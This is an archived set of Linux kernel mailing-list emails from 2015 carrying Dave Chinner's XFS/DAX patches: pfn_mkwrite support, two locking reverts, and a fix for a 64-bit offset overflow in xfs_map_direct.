From dave@fromorbit.com Thu Oct 1 02:47:59 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 994597F37 for ; Thu, 1 Oct 2015 02:47:59 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 31F5AAC004 for ; Thu, 1 Oct 2015 00:47:59 -0700 (PDT) X-ASG-Debug-ID: 1443685673-04bdf0462818f820003-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id ZLJavceWfBP2OVtG for ; Thu, 01 Oct 2015 00:47:57 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: A2D/CACY5AxWPEcOLHleGQGDDYFChlqiSQMGkB+MI4EwTQEBAQEBAQcBAQEBQT+EJQEFJy8jEAgYMTkDBxQZiC3MDIYsikcphBUFlXmOZI04hAaIRYItAYJJLDOJeAEBAQ Received: from ppp121-44-14-71.lns20.syd4.internode.on.net (HELO dastard) ([121.44.14.71]) by ipmail04.adl6.internode.on.net with ESMTP; 01 Oct 2015 17:16:46 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.80) (envelope-from ) id 1ZhYZh-0005hy-Tk; Thu, 01 Oct 2015 17:46:45 +1000 Received: from dave by disappointment with local (Exim 4.86) (envelope-from ) id 1ZhYZh-0001m9-Sd; Thu, 01 Oct 2015 17:46:45 +1000 From: Dave Chinner To: xfs@oss.sgi.com Cc: linux-fsdevel@vger.kernel.org, ross.zwisler@linux.intel.com, willy@linux.intel.com, dan.j.williams@intel.com, kirill.shutemov@linux.intel.com, linux-nvdimm@lists.01.org, jack@suse.cz, linux-kernel@vger.kernel.org Subject: [PATCH 7/7] xfs: add ->pfn_mkwrite support for DAX Date: Thu, 1 Oct 2015 17:46:39 +1000 X-ASG-Orig-Subj: [PATCH 7/7] xfs: add ->pfn_mkwrite support for DAX Message-Id: <1443685599-4843-8-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 2.5.0 In-Reply-To: <1443685599-4843-1-git-send-email-david@fromorbit.com> References: <1443685599-4843-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1443685677 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23071 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner ->pfn_mkwrite support is needed so that when a page with allocated backing store takes a write fault we can check that the fault has not raced with a truncate and is pointing to a region beyond the current end of file. This also allows us to update the timestamp on the inode, too, which fixes a generic/080 failure. Signed-off-by: Dave Chinner --- fs/xfs/xfs_file.c | 35 +++++++++++++++++++++++++++++++++++ fs/xfs/xfs_trace.h | 1 + 2 files changed, 36 insertions(+) diff --git a/fs/xfs/xfs_file.c b/fs/xfs/xfs_file.c index 9c8eef7..f429662 100644 --- a/fs/xfs/xfs_file.c +++ b/fs/xfs/xfs_file.c @@ -1572,11 +1572,46 @@ xfs_filemap_pmd_fault( return ret; } +/* + * pfn_mkwrite was originally inteneded to ensure we capture time stamp + * updates on write faults. In reality, it's need to serialise against + * truncate similar to page_mkwrite. Hence we open-code dax_pfn_mkwrite() + * here and cycle the XFS_MMAPLOCK_SHARED to ensure we serialise the fault + * barrier in place. + */ +static int +xfs_filemap_pfn_mkwrite( + struct vm_area_struct *vma, + struct vm_fault *vmf) +{ + + struct inode *inode = file_inode(vma->vm_file); + struct xfs_inode *ip = XFS_I(inode); + int ret = VM_FAULT_NOPAGE; + loff_t size; + + trace_xfs_filemap_pfn_mkwrite(ip); + + sb_start_pagefault(inode->i_sb); + file_update_time(vma->vm_file); + + /* check if the faulting page hasn't raced with truncate */ + xfs_ilock(ip, XFS_MMAPLOCK_SHARED); + size = (i_size_read(inode) + PAGE_SIZE - 1) >> PAGE_SHIFT; + if (vmf->pgoff >= size) + ret = VM_FAULT_SIGBUS; + xfs_iunlock(ip, XFS_MMAPLOCK_SHARED); + sb_end_pagefault(inode->i_sb); + return ret; + +} + static const struct vm_operations_struct xfs_file_vm_ops = { .fault = xfs_filemap_fault, .pmd_fault = xfs_filemap_pmd_fault, .map_pages = filemap_map_pages, .page_mkwrite = xfs_filemap_page_mkwrite, + .pfn_mkwrite = xfs_filemap_pfn_mkwrite, }; STATIC int diff --git a/fs/xfs/xfs_trace.h b/fs/xfs/xfs_trace.h index 5ed36b1..c53beda 100644 --- a/fs/xfs/xfs_trace.h +++ b/fs/xfs/xfs_trace.h @@ -689,6 +689,7 @@ DEFINE_INODE_EVENT(xfs_inode_free_eofblocks_invalid); DEFINE_INODE_EVENT(xfs_filemap_fault); DEFINE_INODE_EVENT(xfs_filemap_pmd_fault); DEFINE_INODE_EVENT(xfs_filemap_page_mkwrite); +DEFINE_INODE_EVENT(xfs_filemap_pfn_mkwrite); DECLARE_EVENT_CLASS(xfs_iref_class, TP_PROTO(struct xfs_inode *ip, unsigned long caller_ip), -- 2.5.0 From dave@fromorbit.com Thu Oct 1 02:48:00 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 029A47F3F for ; Thu, 1 Oct 2015 02:48:00 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id CFD4C8F8049 for ; Thu, 1 Oct 2015 00:47:56 -0700 (PDT) X-ASG-Debug-ID: 1443685673-04bdf0462818f820001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id QBkl1E8qtzDsESpq for ; Thu, 01 Oct 2015 00:47:53 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: A2AACQCY5AxWPEcOLHleGQGDDYgcokkDBpAfiU2EBk0BAQEBAQEHAQEBAUE/hCUBBScvIxAISTkDBxSIRswMhiyPBQWHNo5DjmSHWZIqgi0BRh2BZiyKKwEBAQ Received: from ppp121-44-14-71.lns20.syd4.internode.on.net (HELO dastard) ([121.44.14.71]) by ipmail04.adl6.internode.on.net with ESMTP; 01 Oct 2015 17:16:46 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.80) (envelope-from ) id 1ZhYZh-0005ht-Pv; Thu, 01 Oct 2015 17:46:45 +1000 Received: from dave by disappointment with local (Exim 4.86) (envelope-from ) id 1ZhYZh-0001lk-Oz; Thu, 01 Oct 2015 17:46:45 +1000 From: Dave Chinner To: xfs@oss.sgi.com Cc: linux-fsdevel@vger.kernel.org, ross.zwisler@linux.intel.com, willy@linux.intel.com, dan.j.williams@intel.com, kirill.shutemov@linux.intel.com, linux-nvdimm@lists.01.org, jack@suse.cz, linux-kernel@vger.kernel.org Subject: [PATCH 2/7] Revert "dax: fix race between simultaneous faults" Date: Thu, 1 Oct 2015 17:46:34 +1000 X-ASG-Orig-Subj: [PATCH 2/7] Revert "dax: fix race between simultaneous faults" Message-Id: <1443685599-4843-3-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 2.5.0 In-Reply-To: <1443685599-4843-1-git-send-email-david@fromorbit.com> References: <1443685599-4843-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1443685673 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23071 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- This reverts commit 843172978bb92997310d2f7fbc172ece423cfc02. --- fs/dax.c | 33 ++++++++++++++++----------------- mm/memory.c | 11 +++-------- 2 files changed, 19 insertions(+), 25 deletions(-) diff --git a/fs/dax.c b/fs/dax.c index 400fe95..3994a2b 100644 --- a/fs/dax.c +++ b/fs/dax.c @@ -285,6 +285,7 @@ static int copy_user_bh(struct page *to, struct buffer_head *bh, static int dax_insert_mapping(struct inode *inode, struct buffer_head *bh, struct vm_area_struct *vma, struct vm_fault *vmf) { + struct address_space *mapping = inode->i_mapping; sector_t sector = bh->b_blocknr << (inode->i_blkbits - 9); unsigned long vaddr = (unsigned long)vmf->virtual_address; void __pmem *addr; @@ -292,6 +293,8 @@ static int dax_insert_mapping(struct inode *inode, struct buffer_head *bh, pgoff_t size; int error; + i_mmap_lock_read(mapping); + /* * Check truncate didn't happen while we were allocating a block. * If it did, this block may or may not be still allocated to the @@ -321,6 +324,8 @@ static int dax_insert_mapping(struct inode *inode, struct buffer_head *bh, error = vm_insert_mixed(vma, vaddr, pfn); out: + i_mmap_unlock_read(mapping); + return error; } @@ -382,17 +387,15 @@ int __dax_fault(struct vm_area_struct *vma, struct vm_fault *vmf, * from a read fault and we've raced with a truncate */ error = -EIO; - goto unlock; + goto unlock_page; } - } else { - i_mmap_lock_write(mapping); } error = get_block(inode, block, &bh, 0); if (!error && (bh.b_size < PAGE_SIZE)) error = -EIO; /* fs corruption? */ if (error) - goto unlock; + goto unlock_page; if (!buffer_mapped(&bh) && !buffer_unwritten(&bh) && !vmf->cow_page) { if (vmf->flags & FAULT_FLAG_WRITE) { @@ -403,9 +406,8 @@ int __dax_fault(struct vm_area_struct *vma, struct vm_fault *vmf, if (!error && (bh.b_size < PAGE_SIZE)) error = -EIO; if (error) - goto unlock; + goto unlock_page; } else { - i_mmap_unlock_write(mapping); return dax_load_hole(mapping, page, vmf); } } @@ -417,15 +419,17 @@ int __dax_fault(struct vm_area_struct *vma, struct vm_fault *vmf, else clear_user_highpage(new_page, vaddr); if (error) - goto unlock; + goto unlock_page; vmf->page = page; if (!page) { + i_mmap_lock_read(mapping); /* Check we didn't race with truncate */ size = (i_size_read(inode) + PAGE_SIZE - 1) >> PAGE_SHIFT; if (vmf->pgoff >= size) { + i_mmap_unlock_read(mapping); error = -EIO; - goto unlock; + goto out; } } return VM_FAULT_LOCKED; @@ -461,8 +465,6 @@ int __dax_fault(struct vm_area_struct *vma, struct vm_fault *vmf, WARN_ON_ONCE(!(vmf->flags & FAULT_FLAG_WRITE)); } - if (!page) - i_mmap_unlock_write(mapping); out: if (error == -ENOMEM) return VM_FAULT_OOM | major; @@ -471,14 +473,11 @@ int __dax_fault(struct vm_area_struct *vma, struct vm_fault *vmf, return VM_FAULT_SIGBUS | major; return VM_FAULT_NOPAGE | major; - unlock: + unlock_page: if (page) { unlock_page(page); page_cache_release(page); - } else { - i_mmap_unlock_write(mapping); } - goto out; } EXPORT_SYMBOL(__dax_fault); @@ -556,10 +555,10 @@ int __dax_pmd_fault(struct vm_area_struct *vma, unsigned long address, block = (sector_t)pgoff << (PAGE_SHIFT - blkbits); bh.b_size = PMD_SIZE; - i_mmap_lock_write(mapping); length = get_block(inode, block, &bh, write); if (length) return VM_FAULT_SIGBUS; + i_mmap_lock_read(mapping); /* * If the filesystem isn't willing to tell us the length of a hole, @@ -633,11 +632,11 @@ int __dax_pmd_fault(struct vm_area_struct *vma, unsigned long address, } out: + i_mmap_unlock_read(mapping); + if (buffer_unwritten(&bh)) complete_unwritten(&bh, !(result & VM_FAULT_ERROR)); - i_mmap_unlock_write(mapping); - return result; fallback: diff --git a/mm/memory.c b/mm/memory.c index 5ec066f..deb679c 100644 --- a/mm/memory.c +++ b/mm/memory.c @@ -2427,16 +2427,11 @@ void unmap_mapping_range(struct address_space *mapping, details.last_index = ULONG_MAX; - /* - * DAX already holds i_mmap_lock to serialise file truncate vs - * page fault and page fault vs page fault. - */ - if (!IS_DAX(mapping->host)) - i_mmap_lock_write(mapping); + /* DAX uses i_mmap_lock to serialise file truncate vs page fault */ + i_mmap_lock_write(mapping); if (unlikely(!RB_EMPTY_ROOT(&mapping->i_mmap))) unmap_mapping_range_tree(&mapping->i_mmap, &details); - if (!IS_DAX(mapping->host)) - i_mmap_unlock_write(mapping); + i_mmap_unlock_write(mapping); } EXPORT_SYMBOL(unmap_mapping_range); -- 2.5.0 From dave@fromorbit.com Thu Oct 1 02:48:03 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id CCFAE7F47 for ; Thu, 1 Oct 2015 02:48:00 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id C1CA58F8049 for ; Thu, 1 Oct 2015 00:48:00 -0700 (PDT) X-ASG-Debug-ID: 1443685677-04cbb033b21ab2b0001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id Iore8twZLkjx902G for ; Thu, 01 Oct 2015 00:47:58 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: A2CIJwCY5AxWPEcOLHleGQGDDYEBQYZaokkDBpAfjCOBME0BAQEBAQEHAQEBAUE/QQEDAYNfAQUnLyMQCBgxOQMHFBkZiBTMDIYsikeEPgWVeY5kh1mFX4QGiEWCLQFDAx2BZiwzhwFKgi0BAQE Received: from ppp121-44-14-71.lns20.syd4.internode.on.net (HELO dastard) ([121.44.14.71]) by ipmail04.adl6.internode.on.net with ESMTP; 01 Oct 2015 17:16:46 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.80) (envelope-from ) id 1ZhYZh-0005hu-Qq; Thu, 01 Oct 2015 17:46:45 +1000 Received: from dave by disappointment with local (Exim 4.86) (envelope-from ) id 1ZhYZh-0001lp-PX; Thu, 01 Oct 2015 17:46:45 +1000 From: Dave Chinner To: xfs@oss.sgi.com Cc: linux-fsdevel@vger.kernel.org, ross.zwisler@linux.intel.com, willy@linux.intel.com, dan.j.williams@intel.com, kirill.shutemov@linux.intel.com, linux-nvdimm@lists.01.org, jack@suse.cz, linux-kernel@vger.kernel.org Subject: [PATCH 3/7] xfs: fix inode size update overflow in xfs_map_direct() Date: Thu, 1 Oct 2015 17:46:35 +1000 X-ASG-Orig-Subj: [PATCH 3/7] xfs: fix inode size update overflow in xfs_map_direct() Message-Id: <1443685599-4843-4-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 2.5.0 In-Reply-To: <1443685599-4843-1-git-send-email-david@fromorbit.com> References: <1443685599-4843-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1443685677 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23070 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner Both direct IO and DAX pass an offset and count into get_blocks that will overflow a s64 variable when an IO goes into the last supported block in a file (i.e. at offset 2^63 - 1FSB bytes). This can be seen from the tracing: xfs_get_blocks_alloc: [...] offset 0x7ffffffffffff000 count 4096 xfs_gbmap_direct: [...] offset 0x7ffffffffffff000 count 4096 xfs_gbmap_direct_none:[...] offset 0x7ffffffffffff000 count 4096 0x7ffffffffffff000 + 4096 = 0x8000000000000000, and hence that overflows the s64 offset and we fail to detect the need for a filesize update and an ioend is not allocated. This is *mostly* avoided for direct IO because such extending IOs occur with full block allocation, and so the "IS_UNWRITTEN()" check still evaluates as true and we get an ioend that way. However, doing single sector extending IOs to this last block will expose the fact that file size updates will not occur after the first allocating direct IO as the overflow will then be exposed. There is one further complexity: the DAX page fault path also exposes the same issue in block allocation. However, page faults cannot extend the file size, so in this case we want to allocate the block but do not want to allocate an ioend to enable file size update at IO completion. Hence we now need to distinguish between the direct IO patch allocation and dax fault path allocation to avoid leaking ioend structures. Signed-off-by: Dave Chinner --- fs/xfs/xfs_aops.c | 50 ++++++++++++++++++++++++++++++++++++++++++++------ fs/xfs/xfs_aops.h | 2 ++ fs/xfs/xfs_file.c | 6 +++--- 3 files changed, 49 insertions(+), 9 deletions(-) diff --git a/fs/xfs/xfs_aops.c b/fs/xfs/xfs_aops.c index 50ab287..e747d6a 100644 --- a/fs/xfs/xfs_aops.c +++ b/fs/xfs/xfs_aops.c @@ -1250,13 +1250,28 @@ xfs_vm_releasepage( * the DIO. There is only going to be one reference to the ioend and its life * cycle is constrained by the DIO completion code. hence we don't need * reference counting here. + * + * Note that for DIO, an IO to the highest supported file block offset (i.e. + * 2^63 - 1FSB bytes) will result in the offset + count overflowing a signed 64 + * bit variable. Hence if we see this overflow, we have to assume that the IO is + * extending the file size. We won't know for sure until IO completion is run + * and the actual max write offset is communicated to the IO completion + * routine. + * + * For DAX page faults, we are preparing to never see unwritten extents here, + * nor should we ever extend the inode size. Hence we will soon have nothing to + * do here for this case, ensuring we don't have to provide an IO completion + * callback to free an ioend that we don't actually need for a fault into the + * page at offset (2^63 - 1FSB) bytes. */ + static void xfs_map_direct( struct inode *inode, struct buffer_head *bh_result, struct xfs_bmbt_irec *imap, - xfs_off_t offset) + xfs_off_t offset, + bool dax_fault) { struct xfs_ioend *ioend; xfs_off_t size = bh_result->b_size; @@ -1269,6 +1284,16 @@ xfs_map_direct( trace_xfs_gbmap_direct(XFS_I(inode), offset, size, type, imap); + /* XXX: preparation for removing unwritten extents in DAX */ +#if 0 + if (dax_fault) { + ASSERT(type == XFS_IO_OVERWRITE); + trace_xfs_gbmap_direct_none(XFS_I(inode), offset, size, type, + imap); + return; + } +#endif + if (bh_result->b_private) { ioend = bh_result->b_private; ASSERT(ioend->io_size > 0); @@ -1283,7 +1308,8 @@ xfs_map_direct( ioend->io_size, ioend->io_type, imap); } else if (type == XFS_IO_UNWRITTEN || - offset + size > i_size_read(inode)) { + offset + size > i_size_read(inode) || + offset + size < 0) { ioend = xfs_alloc_ioend(inode, type); ioend->io_offset = offset; ioend->io_size = size; @@ -1345,7 +1371,8 @@ __xfs_get_blocks( sector_t iblock, struct buffer_head *bh_result, int create, - bool direct) + bool direct, + bool dax_fault) { struct xfs_inode *ip = XFS_I(inode); struct xfs_mount *mp = ip->i_mount; @@ -1458,7 +1485,8 @@ __xfs_get_blocks( set_buffer_unwritten(bh_result); /* direct IO needs special help */ if (create && direct) - xfs_map_direct(inode, bh_result, &imap, offset); + xfs_map_direct(inode, bh_result, &imap, offset, + dax_fault); } /* @@ -1505,7 +1533,7 @@ xfs_get_blocks( struct buffer_head *bh_result, int create) { - return __xfs_get_blocks(inode, iblock, bh_result, create, false); + return __xfs_get_blocks(inode, iblock, bh_result, create, false, false); } int @@ -1515,7 +1543,17 @@ xfs_get_blocks_direct( struct buffer_head *bh_result, int create) { - return __xfs_get_blocks(inode, iblock, bh_result, create, true); + return __xfs_get_blocks(inode, iblock, bh_result, create, true, false); +} + +int +xfs_get_blocks_dax_fault( + struct inode *inode, + sector_t iblock, + struct buffer_head *bh_result, + int create) +{ + return __xfs_get_blocks(inode, iblock, bh_result, create, true, true); } static void diff --git a/fs/xfs/xfs_aops.h b/fs/xfs/xfs_aops.h index 86afd1a..d39ba25 100644 --- a/fs/xfs/xfs_aops.h +++ b/fs/xfs/xfs_aops.h @@ -58,6 +58,8 @@ int xfs_get_blocks(struct inode *inode, sector_t offset, struct buffer_head *map_bh, int create); int xfs_get_blocks_direct(struct inode *inode, sector_t offset, struct buffer_head *map_bh, int create); +int xfs_get_blocks_dax_fault(struct inode *inode, sector_t offset, + struct buffer_head *map_bh, int create); void xfs_end_io_dax_write(struct buffer_head *bh, int uptodate); extern void xfs_count_page_state(struct page *, int *, int *); diff --git a/fs/xfs/xfs_file.c b/fs/xfs/xfs_file.c index e78feb4..27abe1c 100644 --- a/fs/xfs/xfs_file.c +++ b/fs/xfs/xfs_file.c @@ -1503,7 +1503,7 @@ xfs_filemap_page_mkwrite( xfs_ilock(XFS_I(inode), XFS_MMAPLOCK_SHARED); if (IS_DAX(inode)) { - ret = __dax_mkwrite(vma, vmf, xfs_get_blocks_direct, + ret = __dax_mkwrite(vma, vmf, xfs_get_blocks_dax_fault, xfs_end_io_dax_write); } else { ret = __block_page_mkwrite(vma, vmf, xfs_get_blocks); @@ -1538,7 +1538,7 @@ xfs_filemap_fault( * changes to xfs_get_blocks_direct() to map unwritten extent * ioend for conversion on read-only mappings. */ - ret = __dax_fault(vma, vmf, xfs_get_blocks_direct, NULL); + ret = __dax_fault(vma, vmf, xfs_get_blocks_dax_fault, NULL); } else ret = filemap_fault(vma, vmf); xfs_iunlock(XFS_I(inode), XFS_MMAPLOCK_SHARED); @@ -1565,7 +1565,7 @@ xfs_filemap_pmd_fault( sb_start_pagefault(inode->i_sb); file_update_time(vma->vm_file); xfs_ilock(XFS_I(inode), XFS_MMAPLOCK_SHARED); - ret = __dax_pmd_fault(vma, addr, pmd, flags, xfs_get_blocks_direct, + ret = __dax_pmd_fault(vma, addr, pmd, flags, xfs_get_blocks_dax_fault, xfs_end_io_dax_write); xfs_iunlock(XFS_I(inode), XFS_MMAPLOCK_SHARED); sb_end_pagefault(inode->i_sb); -- 2.5.0 From dave@fromorbit.com Thu Oct 1 02:48:04 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 4565F7F50 for ; Thu, 1 Oct 2015 02:48:01 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id D1077AC004 for ; Thu, 1 Oct 2015 00:47:57 -0700 (PDT) X-ASG-Debug-ID: 1443685673-04bdf0462818f820002-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id S6FzliuTGtBywnGl for ; Thu, 01 Oct 2015 00:47:55 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: A2AACQCY5AxWPEcOLHleGQGDDYgcokkDBpAfiU2EBk0BAQEBAQEHAQEBAUE/hCUBBScvIxAISTkDBxSIRswMhiyKCWeEFQWHNo5DnByMS4ItAUYdgWYsiGOBSAEBAQ Received: from ppp121-44-14-71.lns20.syd4.internode.on.net (HELO dastard) ([121.44.14.71]) by ipmail04.adl6.internode.on.net with ESMTP; 01 Oct 2015 17:16:46 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.80) (envelope-from ) id 1ZhYZh-0005hs-PL; Thu, 01 Oct 2015 17:46:45 +1000 Received: from dave by disappointment with local (Exim 4.86) (envelope-from ) id 1ZhYZh-0001lf-OO; Thu, 01 Oct 2015 17:46:45 +1000 From: Dave Chinner To: xfs@oss.sgi.com Cc: linux-fsdevel@vger.kernel.org, ross.zwisler@linux.intel.com, willy@linux.intel.com, dan.j.williams@intel.com, kirill.shutemov@linux.intel.com, linux-nvdimm@lists.01.org, jack@suse.cz, linux-kernel@vger.kernel.org Subject: [PATCH 1/7] Revert "mm: take i_mmap_lock in unmap_mapping_range() for DAX" Date: Thu, 1 Oct 2015 17:46:33 +1000 X-ASG-Orig-Subj: [PATCH 1/7] Revert "mm: take i_mmap_lock in unmap_mapping_range() for DAX" Message-Id: <1443685599-4843-2-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 2.5.0 In-Reply-To: <1443685599-4843-1-git-send-email-david@fromorbit.com> References: <1443685599-4843-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1443685675 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23071 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- This reverts commit 46c043ede4711e8d598b9d63c5616c1fedb0605e. --- fs/dax.c | 36 ++++++++++++++++-------------------- mm/memory.c | 11 +++++++++-- 2 files changed, 25 insertions(+), 22 deletions(-) diff --git a/fs/dax.c b/fs/dax.c index 7ae6df7..400fe95 100644 --- a/fs/dax.c +++ b/fs/dax.c @@ -569,26 +569,6 @@ int __dax_pmd_fault(struct vm_area_struct *vma, unsigned long address, if (!buffer_size_valid(&bh) || bh.b_size < PMD_SIZE) goto fallback; - if (buffer_unwritten(&bh) || buffer_new(&bh)) { - int i; - for (i = 0; i < PTRS_PER_PMD; i++) - clear_pmem(kaddr + i * PAGE_SIZE, PAGE_SIZE); - wmb_pmem(); - count_vm_event(PGMAJFAULT); - mem_cgroup_count_vm_event(vma->vm_mm, PGMAJFAULT); - result |= VM_FAULT_MAJOR; - } - - /* - * If we allocated new storage, make sure no process has any - * zero pages covering this hole - */ - if (buffer_new(&bh)) { - i_mmap_unlock_write(mapping); - unmap_mapping_range(mapping, pgoff << PAGE_SHIFT, PMD_SIZE, 0); - i_mmap_lock_write(mapping); - } - /* * If a truncate happened while we were allocating blocks, we may * leave blocks allocated to the file that are beyond EOF. We can't @@ -603,6 +583,13 @@ int __dax_pmd_fault(struct vm_area_struct *vma, unsigned long address, if ((pgoff | PG_PMD_COLOUR) >= size) goto fallback; + /* + * If we allocated new storage, make sure no process has any + * zero pages covering this hole + */ + if (buffer_new(&bh)) + unmap_mapping_range(mapping, pgoff << PAGE_SHIFT, PMD_SIZE, 0); + if (!write && !buffer_mapped(&bh) && buffer_uptodate(&bh)) { spinlock_t *ptl; pmd_t entry; @@ -633,6 +620,15 @@ int __dax_pmd_fault(struct vm_area_struct *vma, unsigned long address, if ((length < PMD_SIZE) || (pfn & PG_PMD_COLOUR)) goto fallback; + if (buffer_unwritten(&bh) || buffer_new(&bh)) { + int i; + for (i = 0; i < PTRS_PER_PMD; i++) + clear_page(kaddr + i * PAGE_SIZE); + count_vm_event(PGMAJFAULT); + mem_cgroup_count_vm_event(vma->vm_mm, PGMAJFAULT); + result |= VM_FAULT_MAJOR; + } + result |= vmf_insert_pfn_pmd(vma, address, pmd, pfn, write); } diff --git a/mm/memory.c b/mm/memory.c index 9cb2747..5ec066f 100644 --- a/mm/memory.c +++ b/mm/memory.c @@ -2426,10 +2426,17 @@ void unmap_mapping_range(struct address_space *mapping, if (details.last_index < details.first_index) details.last_index = ULONG_MAX; - i_mmap_lock_write(mapping); + + /* + * DAX already holds i_mmap_lock to serialise file truncate vs + * page fault and page fault vs page fault. + */ + if (!IS_DAX(mapping->host)) + i_mmap_lock_write(mapping); if (unlikely(!RB_EMPTY_ROOT(&mapping->i_mmap))) unmap_mapping_range_tree(&mapping->i_mmap, &details); - i_mmap_unlock_write(mapping); + if (!IS_DAX(mapping->host)) + i_mmap_unlock_write(mapping); } EXPORT_SYMBOL(unmap_mapping_range); -- 2.5.0 From dave@fromorbit.com Thu Oct 1 02:48:03 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 